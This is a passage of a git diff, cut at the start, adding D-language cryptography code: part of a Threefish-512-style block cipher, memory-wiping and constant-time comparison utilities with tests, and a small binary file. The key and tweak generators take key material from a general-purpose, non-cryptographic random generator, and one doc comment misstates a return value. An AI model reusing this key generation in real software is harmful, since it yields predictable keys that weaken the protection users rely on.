y); + + f[i * 2] = y[0]; + f[i * 2 + 1] = y[1]; + } + + for (i = 0; i < Nw; i++) + { + v[i] = f[p[i]]; + } + } + + for (i = 0; i < Nw; i++) + { + c[i] = v[i] + subKeys[Ns][i]; + } + } + + /// Шифрование блока (безопасная версия) + /// plain - массив с данными блока + auto crypt(ulong[8] plainData) + { + ulong[8] c = 0; + crypt(plainData.ptr, c.ptr); + return c; + } + + /// Дешифрование блока + /// plain - указатель на блок для дешифрования, c - массив-приемник результата + void decrypt(ulong* plainData, ulong* c) @system + { + ulong[8] f; + ulong[8] e; + ulong[2] y; + ulong[2] x; + ulong[8] v; + uint i; + + memcpy(&v[0], plainData, 64); + + for (uint round = Nr; round > 0; round--) + { + if (round % 4 == 0) + { + uint s = round >> 2; + for (i = 0; i < Nw; i++) + { + f[i] = v[i] - subKeys[s][i]; + } + } + else + { + for (i = 0; i < Nw; i++) + { + f[i] = v[i]; + } + } + + for (i = 0; i < Nw; i++) + { + e[i] = f[p_1[i]]; + } + + for (i = 0; i < Nw / 2; i++) + { + y[0] = e[i * 2]; + y[1] = e[i * 2 + 1]; + + _demix(y, r[cast(uint) _mod8(round - 1)][i], x); + + v[i * 2] = x[0]; + v[i * 2 + 1] = x[1]; + } + } + + for (i = 0; i < Nw; i++) + { + c[i] = v[i] - subKeys[0][i]; + } + } + + /// Дешифрование блока (безопасная версия) + /// plain - массив с данными блока + auto decrypt(ulong[8] plain) + { + ulong[8] c = 0; + decrypt(plain.ptr, c.ptr); + return c; + } + + /// Подготовка раундовых ключей + /// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением + void setup(ulong* keyData, ulong* tweakData) @system + { + uint i; + ulong[8] K; + ulong[2] T; + ulong[9] key; + + // C240 constant + ulong kNw = 0x1BD11BDAA9FC1A22; + + memcpy(&K[0], &keyData[0], 64); + memcpy(&T[0], &tweakData[0], 16); + + for (i = 0; i < Nw; i++) + { + kNw ^= K[i]; + key[i] = K[i]; + } + + key[8] = kNw; + + t[0] = T[0]; + t[1] = T[1]; + t[2] = T[0] ^ T[1]; + + for (uint round = 0; round <= Ns; round++) + { + for (i = 0; i < Nw; i++) + { + subKeys[round][i] = key[(round + i) % (Nw + 1)]; + + if (i == Nw - 3) + { + subKeys[round][i] += t[round % 3]; + } + else if (i == Nw - 2) + { + subKeys[round][i] += t[(round + 1) % 3]; + } + else if (i == Nw - 1) + { + subKeys[round][i] += round; + } + } + } + } + + /// Подготовка раундовых ключей (безопасная версия) + /// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением + void setup(ulong[8] keyData, ulong[2] tweakData) + { + setup(keyData.ptr, tweakData.ptr); + } + + public static ulong[8] generateKey() + { + ulong[8] key; + auto rng = Random(unpredictableSeed); + foreach (i; 0 .. 8) + { + key[i] = uniform!ulong(rng); + } + return key; + } + + public static ulong[2] generateTweak() + { + ulong[2] tweak; + auto rng = Random(unpredictableSeed); + foreach (i; 0 .. 2) + { + tweak[i] = uniform!ulong(rng); + } + return tweak; + } +} \ No newline at end of file diff --git a/v1/utils.d b/v1/utils.d new file mode 100644 index 0000000..aa39c4a --- /dev/null +++ b/v1/utils.d @@ -0,0 +1,109 @@ +module angel.utils.cryptography.utils; + +import core.vararg; +import std.traits; +import std.algorithm; + +/// TODO: neat variadic implementation of `wipe()` + +/// Clears data in memory. +@safe @nogc nothrow +void wipe(T)(ref T t) { + static if(is(typeof(cast (ubyte[]) t))) { + ubyte[] bytes = cast(ubyte[]) t; + + bytes[] = 0; + + if(!all!"a == 0"(bytes[])) { + // This should not get optimized away. + assert(false, "Wiping failed."); + } + } else static if ( is(typeof( {T a = T.init;} ))) { + t = T.init; + + if(t != T.init) { + // This should not get optimized away. + assert(false, "Wiping failed."); + } + } else { + static assert(false, "Type not supported for wiping: " ~ T.stringof); + } +} + + +@safe @nogc nothrow +void wipe(T...)(ref T ts) { + foreach(ref t; ts) { + wipe(t); + } +} + +// test static arrays +unittest { + ubyte[4] buf1 = [1,2,3,4]; + uint[4] buf2 = [1,2,3,4]; + size_t[4] buf3 = [1,2,3,4]; + + wipe(buf1); + wipe(buf2); + wipe(buf3); + + assert(all!"a == 0"(buf1[]), "Failed to wipe ubyte[]."); + assert(all!"a == 0"(buf2[]), "Failed to wipe ubyte[]."); + assert(all!"a == 0"(buf3[]), "Failed to wipe ubyte[]."); +} + +// test dynamic arrays +unittest { + ubyte[] buf1 = [1,2,3,4]; + uint[] buf2 = [1,2,3,4]; + size_t[] buf3 = [1,2,3,4]; + + wipe(buf1, buf2, buf3); + + assert(all!"a == 0"(buf1), "Failed to wipe ubyte[]."); + assert(all!"a == 0"(buf2), "Failed to wipe ubyte[]."); + assert(all!"a == 0"(buf3), "Failed to wipe ubyte[]."); +} + +unittest { + int a = 42; + int b = 84; + ubyte c = 1; + + wipe(a, b, c); + + assert(a == 0 && b == 0 && c == 0, "Wiping integer failed!"); +} + +/// Compares a and b in constant time. +/// +/// Returns: 0 if a == b, some other value if a != b. +bool crypto_equals(T)(in T[] a, in T[] b) pure nothrow @safe @nogc +in { + assert(a.length == b.length, "Unequal length."); +} body { + T result = 0; + size_t i = 0; + + while(i < a.length) { + result |= a[i] ^ b[i]; + ++i; + } + + if(i != a.length) { + // Just to be sure that the compiler optimization does not destroy const time. + assert(false); + } + + return result == 0; +} + +// test crypto_equals +unittest { + ubyte[32] f = 0; + immutable ubyte[32] zero = 0; + assert(crypto_equals(f[], zero[])); + f[8] = 1; + assert(!crypto_equals(f[], zero[])); +} \ No newline at end of file diff --git a/v1/windows_core.d b/v1/windows_core.d new file mode 100644 index 0000000000000000000000000000000000000000000000000000000000000000..8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3 GIT binary patch literal 1024 ScmZQz7zLvtFd70QH3R?z00031 literal 0 HcmV?d00001